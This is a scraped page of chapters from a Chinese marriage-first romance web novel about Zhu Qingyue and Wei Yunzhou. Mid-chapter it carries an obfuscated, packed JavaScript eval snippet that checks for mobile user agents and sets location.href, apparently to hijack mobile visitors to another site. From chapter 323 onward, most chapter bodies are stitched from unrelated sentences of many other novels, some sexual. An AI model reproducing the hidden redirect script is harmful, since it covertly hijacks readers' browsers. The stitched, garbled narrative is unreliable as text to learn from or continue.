孟竞帆和程逾起身,将人送到门口,魏云舟关了门。 祝卿月哼笑一声走过去,仰着头质问:“你又在大哥大嫂面前败坏我的名声,谁吃醋了?” “辛苦了。”魏云舟笑着搂过她的肩膀,“还不累吗?” “别转移话题,我说了,我没有吃醋。”祝卿月硬邦邦地说。 口是心非也不过如此了,魏云舟点了点头,顺着她说:“好,没有吃醋,睡觉去了,好吗?” 祝卿月拽了下耳朵,说话干什么贴这么近? 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第322章 先婚后爱(19) 翌日一早,魏云舟跟孟棠说了赵景然的事,孟棠没急,只是让他把祝卿月叫过来。 “叫她干什么?”魏云舟没明白,“她能给您解决了?” “说什么呢?我叫她过来是有话说。”孟棠白他一眼。 魏云舟轻笑:“我这就给您叫来。” 祝卿月一听孟棠叫她,立刻丢下相机:“你知道妈找我是什么事吗?” “跟你聊聊天,可能问问你这些天在雁清的生活。”魏云舟说。 “那我去了?” “嗯。” 来到正厅,孟棠笑着让她过去。 祝卿月在她对面坐下,主动开口:“您找我?” 孟棠点点头:“这些天在雁清感觉怎么样?” “挺好的,我很喜欢。”祝卿月说,“不是客气话,我真的挺喜欢的,跟大城市不一样,这里更烟火气一些,邻居跟邻居之间的关系我觉得很有意思。” “我知道你会喜欢。”孟棠笑得温柔。 “您知道?” “嗯,我看过你的拍摄作品,拍得很好,就是后来没有继续走这条路,有点可惜。” “没什么可惜的。”祝卿月笑得有些苦涩,“有的时候都是命。” “没关系,今年年初,雁清文旅和z市文旅,非遗中心联合立项了黄杨木雕的工序影像抢救性记录,你要是感兴趣,到时候可以过来一起看看。” 祝卿月一愣:“真的吗?” “当然是真的。”孟棠失笑,“我也是‘举荐不必亲’了。” “我去。”祝卿月欣喜不已。 拿到拍摄设备,她一直苦于没有工作的机会,想鼓起勇气去找以前的,又怕被拒绝。 来到雁清,是暂时逃避的举措,没想到峰回路转。 虽说有走后门的嫌疑,但她不在乎,这个社会上,没有人情关系举步维艰。 孟棠觉得她很通透,笑了笑,问:“最近跟云舟的关系怎么样?” “呃……”祝卿月没想到孟棠话锋转这么快,“挺好的。” “云舟你看着是不是很高冷?很成熟?” 祝卿月点了点头:“一开始确实这样觉得,但我现在有点改观了,我觉得他……挺温柔的,也挺浪漫的。” 孟棠失笑:“看来你俩相处得不错,云舟工作的模样你应该没有见过,很严肃的,但私底下就是个傲娇的小孩。” “小时候就爱板着脸,见他哥哥撒娇,明明也想他爸爸抱,就是张不开嘴。” “后来去国外读书,接送也需要我们,内心还是小孩。” 孟棠跟她说了很多魏云舟的趣事,祝卿月的脑子里,关于魏云舟这个人又填补了几份空白处。 “云舟这个人是做的比说的多,我本来还担心你们两个,现在倒没这种感觉了,看得出来,他挺喜欢你的。” 祝卿月心绪一震,喜欢她吗? “您真的这样认为吗?” 孟棠点了点头。 祝卿月欲言又止。 “有什么想法要说出来。”孟棠温柔地引导她,“你不说出来,猜来猜去的搁在心里也不舒服。” “我其实能感觉得出来,他对我是有点喜欢的。”祝卿月说,“但是总觉得差了点什么。” 孟棠笑了笑:“你们结婚之前是没有感情基础的,婚后觉得还不错,自然想要尝试,你们的肢体语言看着还在互相试探的阶段,带着一点亲密。” 祝卿月一囧,还能看肢体语言?那岂不是她平日里和魏云舟的互动,她公婆都看在眼里? 天呐!祝卿月想捂脸了。 从正厅出来,她都有点没反应过来,魏云舟见她红着脸,刚要伸手,被祝卿月条件反射躲避了。 魏云舟蹙眉:“怎么了?” “离我远点啊,别动手动脚。” 魏云舟:“……” 孟棠到底跟祝卿月说了什么?怎么把他当瘟神了? 魏云舟跟上去:“妈跟你说了什么?” “说了工作的事。”祝卿月把事情跟魏云舟说了一遍,“我能去吗?” “你想去就去。”魏云舟说。 有孟棠在,他放心。 祝卿月点点头:“好。” 回房间拿了相机,祝卿月去找了做工的程逾,程逾停下手里的活,朝她招手:“站着干什么,前两天不是带你逛了,过来坐吧,这些物件和木头没你想的那么脆弱。” “我倒也没有这么想。”祝卿月边走边说,“我只是不懂木雕,所以怀着点敬畏之心。” “你这想法是很对的。”程逾说,“现在走传统路子的非遗不太好走,不创新会死一样,说机雕的也很好看,很精美,我说他放屁,机雕的是死的,我雕的才是活的。” 这话过于狂妄,但从程逾嘴里说出来,莫名让人信服。 “就好像你这镜头。”程逾指了指她的相机,“镜头也有语言,世界上这么多摄影师,你想表达的是什么呢?大众审美才是高级审美,盲目追求高级成不了什么气候。” 祝卿月觉得程逾说的话很有道理,不能因为大众代表的是大多数人,就觉得这样的审美烂大街,不高级,曲高和寡根本不可取。 “大嫂,我能给你拍一组照片和视频吗?放我社交平台的主页上。” “当然可以。”程逾一口答应。 因为孟竞帆,她早暴露于大众,这样也立于她宣传黄杨木雕,所以程逾无所谓在谁的主页上。 “那你继续做事吧,我不打扰你。”程逾摆弄着相机,一个下午吗,妯娌俩待在北院没出来。 临到晚饭时间,魏云舟和孟竞帆对视一眼,心想这两人怎么还没出来。 “去叫一声?”孟竞帆扬头。 “我去吧。” “一起吧。” 兄弟俩来到北院找老婆,发现两人坐在门槛上,头靠头看着相机。 “哇,拍得好好看,我不懂摄影啊,但觉得很有故事感。” 得到程逾的肯定,祝卿月很开心:“这里的老宅和工坊,任何一个摄影师过来拍都会有故事感的。” “还是不一样的。”程逾说,“前两年就有一个年轻的摄影师过来,拍的也不知道什么,反正我看不懂。” 魏云舟看着祝卿月脸色的笑容,一时若有所思。 祝卿月平日也会笑,但没有此刻的生动和真心。 孟竞帆抬手搭上他肩膀,笑道:“最近你总会看着你媳妇发愣,动心了?” 孟竞帆反问:“动心是什么感觉?” “欢欣、忐忑、发痴。”孟竞帆像恋爱大师,“你会不由自主地去看她,做事的时候也会想着她,为她所喜,为她所忧。” 魏云舟白他一眼:“你这是爱上了。” “我本来也爱小鱼。”孟竞帆臭屁道,“我小的时候就有这种意识。” “没有我,你能这么轻易娶到小鱼姐?”魏云舟懒得听他哥的恋爱经历,毕竟他从头到尾看完的。 “你确实也有功劳,说吧,你想要我怎么助攻?” “我不需要你助攻,别好心办坏事。” 孟竞帆耸了耸肩:“行,别人的感情事确实插手不了。” “你俩在嘀嘀咕咕什么呢?什么不过来?”程逾扬声。 “呦,你发现我俩了?”孟竞帆走过去。 “我不瞎不聋,早发现了。”程逾起身,“叫我俩吃饭的?” “对,太阳都落山了还不出来。” “月月给我拍照了,很漂亮,你到时候可以去她主页看。” “ok,我待会儿关注一下。” “哇,”祝卿月收起相机凑过去,“大哥给我关注的话,我会涨粉吧?” “肯定会有点小水花的吧。”程逾说。 “我也关注一下。”魏云舟说。 因为孟竞帆,他很多平台也有注册账号。 祝卿月索性拿出手机,打开app放到他们面前:“关注吧。” 魏云舟许久没登录,找了半天才把自己老婆也关注上。 他随手往下翻了翻,发现祝卿月以前就有分享生活照的爱好。 就在他要继续看的时候,祝卿月拉住他肩膀:“别看了,吃饭去了。” 餐桌上又不能玩手机,魏云舟忍得很辛苦,以至于魏川问他:“今天的晚饭不合你胃口?” “没有。”魏云舟敷衍了句。 魏川看向孟棠:“他怎么了?” 孟棠摇摇头。 吃完饭,祝卿月想要出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16855901|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门转转,魏云舟却想回房,程逾牵住她的手,说:“我陪你出去转转吧,整天跟魏云舟待在一起不烦啊。” “行,你今天白天跟我说的木雕我很有兴趣,再给我说说吧。” 魏云舟回了房间,澡也没洗,开始翻看祝卿月以前的社交动态。 最近的一条是上次中秋节的动态,她发了九张照片,从早上起床开始,记录了一天做的事情,中间那一张是房间内的花灯。 随后就是来雁清那天的动态,在车上拍的,车窗上还有他的倒影。 魏云舟继续往下翻,是他们领证那天的动态,只有文案:我真的结婚了?好不真实,不过他还挺帅的,眼睛不遭罪。 魏云舟勾了勾唇,颜值也算是得到她的肯定了。 祝卿月的动态发得不勤,往下又往前推了两个月,魏云舟看了眼时间,记得是他们见面谈结婚的事。 这条动态有配图,是咖啡厅的外景,配文是:算是相亲吧,唯一的好消息是长得不赖。 魏云舟挑了挑眉,他俩对对方的第一印象都是脸? 还好他这张脸还不错。 再往下翻就是日常,然后就没有然后了,祝卿月设置了半年可见。 魏云舟蹙眉,当即给祝卿月打了个电话。 祝卿月接了:“你先睡,我马上就回去了。” “你的微博,设置了半年可见,我能看看吗?” “不行。”祝卿月断然拒绝。 魏云舟一愣,显然没料到她竟然这么干脆。 可能意识到自己的语气有点不好,祝卿月下意识解释:“都是以前发的非主流,没什么好看的。” 魏云舟沉默了一瞬,说:“我想看。” 祝卿月停住脚步,看着回头等她的程逾,捂住手机说:“大嫂,你先回吧,我在这儿打个电话。” 已经到家门口了,程逾便点了点头。 祝卿月等她离开,又重新将手机搁到耳朵边,小声说:“你真的想看?” “想看。”魏云舟说。 “可我觉得,我们的关系还不到那个地步。”祝卿月小声道。 她以前的动态有很不好的言论,之所以没有删除,是想给自己提个醒。 她不想让魏云舟看到那样的一面,她只想展示好的一面,这是人之常情。 晚饭时在工坊,她就知道他在看她以前的微博动态。 之所以没阻止,也是想看看他会怎么做,意外的是:平时内敛的魏云舟竟然直接给她打了电话。 “那我什么时候能看?”魏云舟的语气带着两分急切。 “我也不知道。”祝卿月说,“魏云舟,我承认对你有点喜欢,但好像还做不到坦诚。” 程逾从魏云舟房间走过,顺道和他挥了挥手:“你俩这什么情趣啊,一个蹲门口,一个站窗口,想说什么回房慢慢说呗。” 魏云舟这才知道祝卿月也回来了,他挂断手机,开门走了出去。 祝卿月从手机里听到了程逾的声音,明白魏云舟来找她了,索性在台阶上坐下等着。 没一会儿,身后传来脚步声,紧接着,魏云舟在她身边坐下。 “怎么不回房?” “我怕你要看我手机。” 魏云舟侧眸:“我能不能这样理解,你的微博动态里不给我看,肯定有你和我都在意的东西?” 祝卿月点了点头:“是。” “好,我问你答,可以吗?”魏云舟换了个方式询问。 祝卿月有些犹豫,魏云舟直接说:“祝卿月,给我安个心。” “好,你问。”祝卿月受不了魏云舟这样的眼神看她。 “那些动态都是在我们认识之前发生的,是不好的事?” “对。” “据我所知,你在人际这一块只跟家里人不太和气,是他们欺负你了?” “一半一半。” 一半一半?魏云舟咀嚼着这个词,沉默的三两分钟里,祝卿月攥紧了手心。 “是跟祝家有关系的人或者其他的什么事情伤害过你?” 精准无比,祝卿月慌乱了一瞬,说:“我刚才散步流了一身的汗,先去洗澡了。” 魏云舟一把拉住她的手腕:“坐下来。” 第一卷 第323章 先婚后爱(20) 祝卿月的力气比不上魏云舟,他一扯,她就趔趄着坐了下去。 “话说一半就走?”魏云舟看着她,“再坐会儿吧,不想说就不说。” 再有几天就要离开雁清,这样宁静的夜晚就要结束。 就算是王楠楠,被这样点名也觉得脸红的很。王楠楠不断的朝着我看,好像是想要让我说什么。 墨邪是在木屋恢复原形的前一刻将我抱出去的,法器落入我怀中之后,我连看的心思都没有了,直接抱紧就靠在墨邪胸口睡着了。 “是王倩?王倩没有死?”幸福来的简直太突然了,难道我是在做梦么? 最初,医生还以为她天花病,尝试过很多种药物,都没法治好她的病,后来,他们排除了她患有天花的可能性,但始终搞不明白她到底得的是什么病。 当听到张浩杀猪似得怒吼时候,我们几个一齐转过来脑袋,此刻那把尖刀距离哥哥已经不足一巴掌的距离,想要躲闪根本来不及,而且哥哥的肩膀上还扛着个谢泽勇。 我们回到鹿家的时候,秦思思和林师叔已经先到了,这是提前安排好的,七号院的谈判是表面功夫,鹿家的这个会议,才是真格儿的。 来送请柬的人是沈洋,他手中提着水果篮和一束鲜花,放在床头柜上摆好后,将请柬递给了我们。 “嘭!”地一声巨响,那两个工人当即就被那沉重的棺盖砸在了下面。 我的嘴角已经被他打出了血,三番两次的暴虐,让我的心彻底淡定不下来。 可如今李彦竟然说迪达是中了魔法,难怪艾玛会不相信了,希勒真要是双修还能有这样的实力,那雷霆佣兵团也不至于还要靠这些下作手段来捕杀中级海魔兽了。 她缓了一口气,心想自己不该和他生气的,还不如和海桐聊聊天呢。 召唤师无法使出强大的魔法,但是诸如火球术、星炎、震冰波这种低级魔法,却是没有问题的。所以郭临没有顾忌。万人瞩目下,他依旧打算将召唤师这个身份,扮演到底。 出了李府,街道上冷冷清清,所有的大门都紧闭着,马路上几片稀疏的落叶被风掀起,打了个转,沿着街道向前飘去,她打了个寒颤,才发现现自己穿着薄薄的睡衣。 “程大侠之事,果真没有任何转圜余地了么?”秋菱哀伤地叹息。 四千多公里的距离,在众学员毫无压力的闲聊中渐渐渡过,飞临花阳城上空时,天空已经完全黑了。 可是这酸楚感如何解释?他爱的,不是几年前便已离他而去的凉梦吗? 并不是炼魄之人对峡谷之中的毒蛇束手无策,但是要在短时间内,灭了大批的恶魔毒蛇,并不容易。这些恶魔毒蛇之中,实力达到魂级之上的并不少,它们的力量,虽比不上魄级的强者,但是毒‘性’却叫人深深忌惮。 “啧啧啧,喝茶讲究一杯三品!像你这样一饮而尽的,那叫牛饮!”宫嘉希表情怪异的揶揄着宋端午,而李响则坐在了茶道组的前方,亲自给这两位惹不起的爷操持着。 果然,三分钟河东三分钟河西,飒三分钟前说的话,这回换做真七来说了。 土御门的说法莱维根本就不相信。这句话他早就听过好几遍,电话联系他的工作人员,刚才开车的司机,他们都用这个理由当成正规的解释。实际上和国家发生特殊事件后,发言人对外的官腔一样,勉强骗骗普通民众罢了。 第一卷 第324章 先婚后爱(21) 谢莹擦干手上的水,示意阿姨接手后,跟魏云舟说:“你跟我过来。” 两人避开祝卿月去了后院,谢莹一向面目慈和,这时也忍不住露出凝重的神色。 “你去了,只会白白送死。”感觉到妖娆男的气息,大概猜到妖娆男的功夫层次,云均幻并不觉得的玉面公子有胜算。 万峰自己是不能收拾花儿姐,但是把白丽云弄去收拾她可是很积极的。 穿戴整齐的冰挽流利索的高束着的头发,面若寒冰,抱着剑跟在沐七她们身后。 封衍不在,夏一念和温嘉新一起,来到封初雪和夏家的人一起住的别墅。 傅笑涯的姿势更是肆无忌惮,一半在树上一半摇摇晃晃的,一片片衣袖来回飘。 晚上时,两人回了蝉声的公寓,收拾了东西,然后一同前往杏花园。 但他们忽略了一件事,能把这么多字工整地写下来,难道本身不就是一种成绩吗。 倾城仙子有自己居住的府邸,可她不喜欢住,觉得离云均幻太远没有安全感,能近距离就绝对不离远。 买人不是行善,别人送什么人来你都收下,别人就当你这里是个好出处,以后会多找这样的人来。 这里人讲究年夜守岁时发红包,意味压岁钱,有其自古以来的寓意。 她上午跟学校请了个假,跟其他的老师调了一下课。便来了医院。 尤其是刚刚还笑脸相迎的经理,此时感觉脸上火辣辣的一片,半分钟前他还寻思着沈总这位贵客来他们黄海大酒店该怎么去招待呢? 随后,芝人长老便将接下来芝人接下来大致的行动计划解释了一遍,由于芝人内部复杂的长老统领制,这一过程非常复杂,但是芝人长老讲解的很认真投入,所以他并没有注意到眼前风妖精迷茫的眼神。 姜子牙一直看着,没有出手,似乎就是等待着未来的木冬青能够使出击败他的一招。 海船离开领海进入太平洋。张美溪回望,这次竟然没有机会回去母校麻绳理工,故地重游。自己还真是个绝情的人。 铁皮枫斗的包装盒上还带着桃源公司的LOGO,而生产醉八仙的鼎丰酒厂有夏若飞一半的估分,这事儿宋老也是清楚的。 凌啸天亲自在厨房忙活,饭店的大厨,也是他的亲传徒弟就在旁边打下手。 “早早,你真的误会了,言之他根本就不喜欢钱静。他只是为了保护你而已。”雷阮沁皱眉跟慕早早解释。 罗鸣沙觉得夏若飞的做法给了他灵感,下次他也可以试着用精神力来烹饪,他觉得思路一下子打开了。 我握着剑警惕地盯着它,而吕绮月保持着给我涂药的姿势,也不解望着考拉。 看到时机不错,在将箭囊重新装好后,贾逵立刻命令下降,不然就要被吹出城外去了。 “绝对不能够让皇子辩登基,否则诸位的下场,我相信自己都想象得到吧?”张让开口说道。 没想到周泰这粗汉还有这样的见解果然是可雕琢的一块璞玉,大有前途。 “村主,误会、误会,误会。这不愿我,都愿我那娘们和那孩子。”大山木连忙解释,竟将意思解释错了。让村主听了,他那话就是在骂他。这村主性子一急伸手朝脸就是一巴掌。 第一卷 第325章 先婚后爱(22) 视线对上的一瞬间,祝卿月生怕尴尬,装得若无其事:“你找我?” 实则手指都快把浴袍搅烂了。 怎么就能这么巧呢?正好被他看光了。 虽说两人是夫妻,但没有到最后一步,是个人都得羞耻一下。 她指导的爱情戏杠杠幼稚,我自己都受不了了,拍几遍笑几遍,都给她笑无奈了。 幸好,这个傀儡好像并没有保持原来钱舍锐所修炼的功法,只是保留肉体上的强度,若不然就算是龙平凡拉开了距离,亦是于事无补。 整个天魔,看上去是面目狰狞,恐怖如斯,不少人族元修,纷纷倒退数步,远远观望,饶是如此也能够感受到天魔身上传出的凌冽气息。 魔荒不敢轻视张灵的攻势,也不敢以身躯硬撼张灵的攻势,唯有选择退去,暂且没有办法将那魔核摄入手中。 虽然皇甫逍遥对国主之位不怎么在乎,但是他想做一名好国主,一名真正为百姓做事的国主。 而不灭在此时亦是面色大变,他自然知晓若是那魔核落入魔荒手中的危害性,可即使如此,他却是无能为力,因为如今的他,已然来不及阻止魔荒了,唯有看立即反应过来的张灵,是否能够阻止。 感受到陈雨舒这么大的动作,孙乔乔也是一咕噜坐了起来,随后两人同时感受到自己腿间的剧烈疼痛,两人彻底从没睡醒的状态变成清醒到极点的状态。 霎那之间,擂台之上传出一声轰隆巨响,那点点寒芒直接被剑气摧毁,虽然剑气威势略减,但是依然向前冲去。 看着张云狂暴的一击,莫凡心中倒是略微一惊,身形急忙后退,与此同时真的将手中的丹药一股脑倒进嘴里,嘎嘣嘎嘣的嚼了起来,这一幕,不禁让张云咬牙切齿起来。 “哇,夹娃娃机呢!里面那个兔子好可爱,我要这个!”我们已经逛到了一个商场里,姜雨涵看着前面摆着的几个娃娃机,顿时喜笑颜开,指着里面一个布娃娃喊到。 说完之后,也不管澹台余年答应不答应,便直接回了自己的卧室。 章节内容开始 没办法,毕竟是老婆的学校,汤主任俗称老汤,是老婆杨芝的班主任。 只是,当他们进入魔城时,这座魔城内的传送祭坛轰鸣,有魔人传送了下来。 同时,叶言也在心里盘算了一下,专卖店只是一个销售渠道,不能只顾那里单卖,得把其他渠道也做起来。为此,他特意嘱咐好老爸,让他从挖出来的萝卜里,让狗蛋挑出一千根给运学校火锅店来。 可范彤似乎根本听不到莫辰的话,她们的表情看的出,她越来越痛苦。 杨逸此刻慵懒的抬了抬眼皮,掏耳洞的样子异常犯贱,特别是再配上这句话,简直气死人不偿命。 第一手先发动“致命打击”想要测试一下对方护盾的强度,但带有破魔效果的匕首却在半空被一剑架住。 高力士将身一侧,横挡在唐玄宗身前,刀,剑,拳,各种杀招尽皆落到了他的身上,却无法破去其一身横练防御,直激得火花四溅。 其实秦阳从原罪塔出来后段无终就发现了,只是他没有马上去找秦阳。 他和柳家人不是太熟,对于他们的生死也不怎么在意,不过这到底是老爹交代下来的任务,还是要圆满完成为好。 就算是徐长生,也没办法在没有一丝信息的情况下找到李敢的家人。 在诸神那难以抑制的惊叹声中,有十几个神棍已经直接扑到了纱儿的身边,趴在地上像一条条狗一样寻找了起来。 爱德华王子与安徒生博士离开了威廉王子的房间,掏出手帕看着上面满是伤痕的士兵玩偶,嘴里念着什么东西,不一会两位士兵就重新站立起来,提着自己手中的长枪给安徒生博士和爱德华王子敬了一个军礼。 虽然……如果拒绝周雨晴的合并要求,回春药业很有可能被少掌门以强势手段打击,顷夜之间消失。 “哈哈,不管怎么样,我还是喜欢看你现在的样子。”间桐雪嘴角带着笑意,和第一次见面不同,这是很单纯的笑容。 众神之王宙斯看到吕布的那一瞬间,就像是被拐卖到山村乡野多日的孩子突然间看到了亲人一眼,一把鼻涕一把泪,那叫一个感动哟——虽然这鼻涕和眼泪百分之九十九点九以上都是因为长时间没有抽一口加料香烟所致。 “救人要紧!”洛青来不及解释,三步两步来到了东南角的水谭附近。 虽是差错,但在白雪楼适应了一下之后,立刻就能很好的分别控制两个身躯。 而曹性带着的一千多弩兵迅速前移,弩箭的落点几乎就是在帮陈到骑兵开路,倘若徐荣此时有时间观看曹性与陈到的“弩骑协同”战术,一定会感叹冠军县军的学习能力很强。 又有一位总帅发表了自己的言论,语气中则充满了自嘲的意味,两人的战斗虽然没有亲自观战,但是仅仅从艾丽卡和莉莉娅娜两人作为见证者传回来的消息就已经让他们的三观破碎。 第一卷 第326章 先婚后爱(23) 睡梦之中的呢喃,让魏云舟心中一软,这几天忙着工作,忽略了她。 奶水告急也不是诗情画意的人,休息了老半天,早就想队伍开拔了,听到长夜未央的话,连声附和。其他人也就收拾心情,重新上路,老猫作为MT依然走在队伍最前面。 这笑容实在是难得,虽然隔着面具其实根本看不到,但,他连眼睛都在笑。 张诚愣住了,脑子突然有点短路,杨安妮是怎么知道盾牌的事情?这里面的曲折怕是张诚想破头也难以想明白,但对于二姐的要求,张诚怎么拒绝? 林萍儿瞬间就明白了过来,她衣服一直色沉,这也是过年才做了个包金丝红边的褙子,她急忙脱了下来,重新套了个暗色的褙子在身上。然后又把头上的金簪给娶了,换成了一根素银的。 但是一股庞大的力量在半空中裹住了二级异种,把它砸进了宋一舟藏身之处。 出了县廷官舍,魏野便见到司马铃正在县廷前门,盯着那株柽柳仔细看,想要近前,却又显得有些忌惮。 “忍体术·雷遁铠甲和体术?”一位年纪稍大的暗部想到了什么。 水覆盖在土墙上,防御效果大幅度增加了,同时水和火的碰撞,自然是产生了大量的水蒸气,向四周蔓延,遮住了大部分人的视线。 “我不是那个意思!敌人实力很强,你只要跟着他们,找到他们的所在地就行了,千万不要动手!”马基。 就比如像是米乐,她只能在公司的这台电脑中运行‘维度2D’,而只要她将电脑带离了公司的区域,软件则也会马上失效。同时,她也不可能将这个软件发送给他人。 顾南他们是跟着顾墨辰来的,所以,自家的主子走,他们肯定是跟上去的。 提到洛恒的名字,周围的声音都安静了下来,所有人都在等真正的掌权者开口下令。 没一会儿,卫生间的门被推开了,洛恒满脸满身都是指甲抓出的血痕,脸上唇边的笑容都裂到了耳根,手指关节上的斑驳血迹,让白七夏不寒而栗。 而范哲要做的概念图,还不仅仅只是德玛西亚的城市的风貌,还包括另外一块比较大的内容,是战场。 宛修在心里谩骂,真没出息。心里寒凉,是因为从夏水檬这句话中就俨然看明白,夏水檬只想安分的做着她的三少奶奶。 接着我乘车回到了学校,现在只是上午十点半,寝室里的那两个家伙在床上躺着玩手机,“嚯,今天不打算下床了么?”我惊叹的问道。 如果到现在徐逸还不清楚季雨薇的打算,那他这个村长做的就不明智了。 天败星向我们披『露』他们采集元阴元阳的手法,倒是令我吃了一惊。 宁初然在心里安慰自己不去在意他,而后按薄连辰说的乖乖在画纸上开始进行自己设想中的衬衣画作。 两人四目相对,但是秦英远却没有一眼认出穆琼月来,因为穆琼月带着口罩,身上穿着的衣服也不符合穆琼月所穿的风格。 昔年秦始皇震八荒、扫六合,咸阳城一举成为天下之国都,其繁华比之楚国郢都也是不遑多让。而如今历经四百余年,眼下的咸阳城早已不复当年。 第一卷 第327章 先婚后爱(24) 周若焜也没想到会在夜店里看到祝卿月,笑容一下变得下流:“呦,外甥女啊。” 一口鲜血喷出后,李强已经脱离了疯狂之心境界。他突然清醒过来,这样硬拼的做法太愚蠢了,不但解决不了问题,还会激化矛盾。 等……等等上澝在旁边听得一愣一愣,什么帝星?什么唤醒?为什么他们说话的时候感觉像老熟人这是为什么?李果到底干le什么? 冷兵器的光芒闪烁,当一切静下来的时候,六十四道的分身已经消散。而树的黑衣人此时也消失了。 直到这个时候,石磊才觉得任平像是一个曾经奋斗在刑侦工作第一线的老干警了。 身后的师弟赶忙上前来扶,却被他一把推开,那人不禁有些发愣。 石磊知道他不服,方晓就这样,那一世也这德行,说什么都不服。 身体刚刚压上去,蒋风约就呻吟不断,显然敏感至极,尤其是石磊胯下那该死的东西,顶在蒋风约的粉臀上,更是让她浑身颤栗不已。 对真冬有着无比信心的我才刚刚疑惑地转过头去,就立即察觉到了事情的根源。 “砰。”两把兵器瞬间相接,让人意外的事情发生了,叶宇轩那看似匆忙之间迎上的一剑居然奇迹般的挡住了怨恨之摩根领主那信心满满的一棒。 李果一惊,顿时知道自己碰上神经病了,他现在心情很复杂,也很忐忑。传说中神经病杀人是不犯法的,而且神经病根本不会跟人讲理。 而高级功法想要修炼低级功法就要麻烦许多了,最简单直接的就是直接舍弃之前的修炼功法转修这套功法,虽然不会修为尽失,但是体内一大部分的真气也是会丢失掉,实力必然会掉下很大一个阶段。 随着诸多山峰的蹦碎,产生了道道巨大的声响,更有数之不尽的白骨军团被埋葬在了下面。 李绾留李丹若吃了晚饭,才送她回去,隔天又到了李丹若处,穿过后角门,给程老太太请了安,陪着说了好半天话,才告辞回去。 蓝成哲看着他担心的锁锁眉,上前按住秦飏的肩膀道:“秦助理,我有些事想问你,不知你可否陪我出来一下。”秦飏一愣,扭头发现慕容瑾也站了起来。 所以荣禄对待威廉伸出的双手毫不理会,只是冷冷地看了一下威廉,人也没有站起,只是坐在椅子上看着威廉。 陈老狗冷冷的说:“死瞎子,我就先收了你的鬼魂来祭我的万魂幡,再来对付她!”说着,挥舞着魂幡,从里面顿时飞出了不少黑影,看样子似乎也是鬼物。 明蒂说道,然后化作一道闪电离开了洛杉矶,直奔亚利桑那州的荒漠地带,那里是无人区,只有零星的灌木和沙土。 彩姨目光一凝,随即依命收回手臂,大开房门,众护卫脸上均露出得意之色,家伙干脆不再收起来,大摇大摆的走了进来,站在安然落座的乩童身后,一副虎视眈眈的凶恶模样。 在山峰的另一侧,金刚也听到了泰坦巨蟒的嘶吼,它可是有记忆的,记得之前就好像听到过一声,那天的雨很大,听的不是很仔细,现在再次听到,难道是有什么生物挑战泰坦巨蟒的领地了吗? 而智源大师,他这会儿老脸抽搐着,从这股阴风的强横,他就知道这鬼物很厉害,绝对不是他可以对付的。 昨晚之事历历在目,目光所到之处皆是细节,某些片段更甚犹如奔涌的潮水席卷而来,疯狂吞噬、淹没着桃软。 之前的吕家也好,王家也罢,都与上吕仙宫有仇,发生争斗还可以理解。 放学后,陈果果连续几日找不到柳絮儿吵着闹着要妈妈,陈夫人头疼的一批,眼下,她心思全在包子身上,对陈果果的悉心照料大大不及从前。 寻个较为隐蔽的山洞,王临马上一门心思地保持施展状态,隔绝自身气息。 木芙昕想着,这样对其他同学不公平,这辈子她不打算当班长,把学习时间分出去,她要好好学习!弥补上一世的遗憾,也想让妈妈和继父开心。 “就依太后的。”摄政王顺从点头,使了个眼色叫人将张大老爷给拖下去。 苏七夜持着赤霄剑,满眼杀意的盯着眼前那从地上挣扎爬起来的源歌。 虽然不少考生内心早有这种预感,但当真正面临这张超高难度试卷的时候,心态仍旧是有点炸裂。 这个男生看着苏云走向黑暗的背影,拍了拍胸口,缓了两口气,“一语姐姐”那么温柔,怎么会有这么恐怖的男朋友? “等进组之后,你们就应该会认识了。作为同龄人,而且都是学霸,你们应该会有很多的共同语言。”杨若薇开口道。 第一卷 第328章 先婚后爱(25) 祝卿月目送丁怡进了小区大门才转了身,魏云舟就在车边等着她。 她走过去,仰头看着他的眼睛,问:“你今晚在店里?” 午夜蝉鸣,寂静的寺庙内一阵微微的能浪波纹在夜空中显现出来。 工头骇然失色,眼中流露出了惊恐,他怕了,他怕陆鸣这一次是来真的。 一个时辰,两人感觉到了明显的震动,那种似曾相识的震动,似乎就是在木族人部落那场巨人大战时的震动。 这是立体投影技术呈现虚拟实景,其原理是通过光的偏振原理来实现的。 这时碧眼青蟾从前面的黑暗中叫了两声,叫林涛跟上,反应过来的林涛才发现碧眼青蟾已经跑到了前面,着急的跟了过去,将它从地上捧起,看了看身后前辈的白骨,又看了看手中的碧眼青蟾,走向了前方了黑暗。 “我明白了,师父,我这就去做。”巴齐虽然不明白为什么养猪能够帮到杨思齐,但既然杨思齐如此吩咐,他只有照做。 狱卒应了一声,将赵博给带了出去,紧接着,就从门外传来了一阵用刑的声音,还有赵博的痛叫求饶声。 这两年来他不是没遇见过三阶,但是数量极少,而且都是在有师父或者其他师伯师叔的带领之下,做好了极万全的准备,在这样的前提之下,那几次面对三阶的经历也是极为凶险。 “先坐下来,陪我喝一杯,我再告诉你。”行云一笑,纤纤细手提起酒壶,倒了两杯酒,然后端起一杯酒送在张天赐的手里。 纪染被打的头晕眼花,眼神呆滞了好几秒才反应过来,“哇”地一声哭了。 “你来求我办事还敢说为我好?我从前就知道二伯母不要脸,如今才发现竟是如此不要脸。”魏若慢悠悠地说道。 至于那临建,你也别想了,咱街道正统一拆除临建呢,过一段时间就拆到咱们这里。 沈渐青后面是要坐上金国国主之位的人,金国气运削弱,也就等于,他的气运也被削弱了。 这块石头表面上坑坑洼洼,色泽暗淡,材质非玉非石,一看就知道里面根本不可能有什么好东西,用磨的简直就是浪费时间。 她命令临歌关闭船上所有电力系统保持静默,其他人全部前往驾驶室。 杨倩狰狞而贪婪地大笑着,扔下这句话便一瘸一拐地离开了院子。 如果不是情况紧急,其实伯都还“挺省油”的,乘坐舒适感一般,但越野性能十足,等闲七八米高的坡度能一跃上下,如履平地。 为了给皇甫少华的大婚送一份大礼,她让人赶制了几张麻将台。终于及时地赶制出来,今日送出,放在皇甫大将军的大厅上。 安席城眸光扫了一眼她目光所致的方向,意味深长的觑着她,他淡定的得出这个结论。 